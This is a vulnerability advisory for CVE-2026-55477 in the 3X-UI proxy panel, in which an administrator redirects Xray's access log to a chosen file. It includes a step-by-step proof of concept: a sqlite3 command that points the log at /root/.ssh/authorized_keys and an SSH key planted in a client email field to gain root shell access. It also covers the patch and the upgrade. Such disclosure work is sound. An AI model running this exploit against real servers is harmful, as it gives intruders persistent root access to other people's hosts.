high · 7.2CVE-2026-55477Aug 24, 2026

CVE-2026-55477: 3X-UI Authenticated Arbitrary File Write via Xray Log Path

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any logged-in 3X-UI administrator can redirect Xray's access log to an arbitrary file on the server, then write attacker-controlled content into it by triggering a proxy connection, which can result…

Packagegithub.com/mhsanaei/3x-ui/v3
Ecosystemgo
Affected<= 3.3.0
Fixed in3.3.1
CVE-2026-55477: 3X-UI Authenticated Arbitrary File Write via Xray Log Path

The problem

3X-UI versions up to and including 3.3.0 pass the xrayTemplateConfig.log.access and log.error values from the database directly into the Xray configuration without any path sanitization. Because the database can be exported, edited, and re-imported by any panel administrator, the log path is fully attacker-controlled.

When Xray processes a connection, it appends a log line containing the connecting client's email field to whatever access log path is configured. Pointing that path at a sensitive file (e.g. ~/.ssh/authorized_keys) and crafting the email value to be a valid SSH public key turns a log-write into persistent shell access.

When Xray runs as root, the impact is full host compromise.

Proof of concept

A working proof-of-concept for CVE-2026-55477 in github.com/mhsanaei/3x-ui/v3, with the exact payload below.

bash
# Step 1: export the SQLite database from the panel UI, then edit it:
sqlite3 x-ui.db \
  "UPDATE settings SET value = json_set(value, '$.log.access', '/root/.ssh/authorized_keys') \
   WHERE key = 'xrayTemplateConfig';"

# Step 2: set a malicious inbound client email to an SSH public key
# (control characters and slashes are rejected, but a base64 pubkey is valid)
# email field value:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC... attacker@host

# Step 3: import the modified database back into the panel (Settings > Database Import)
# Step 4: trigger one connection through the modified inbound
# => Xray appends a log line containing the email to /root/.ssh/authorized_keys
# => SSH in as root with the corresponding private key

The root cause is that internal/web/service/xray.go consumed log.access and log.error verbatim from the database-backed template config, giving any path value to Xray with no restriction. The patch adds resolveXrayLogPaths, which strips the configured value down to its base filename using filepath.Base and places it under config.GetLogFolder(), so absolute paths such as /root/.ssh/authorized_keys or /etc/cron.d/backdoor and any .. traversal sequences are silently confined to the panel's own log directory.

The fix is applied at config-generation time, covering both the database-import vector and the built-in raw Xray config editor. CWE-73 (External Control of File Name or Path) is the primary weakness.

The fix

Upgrade to 3X-UI v3.3.1. The fix is in commit 80e168787ed608e83a065033ee94c8bfc3025ce7 (internal/web/service/xray.go). If you cannot upgrade immediately, restrict panel administrator access to fully trusted operators only. There is no other workaround.

Reporter not attributed.

References: [1][2][3][4][5]

Related research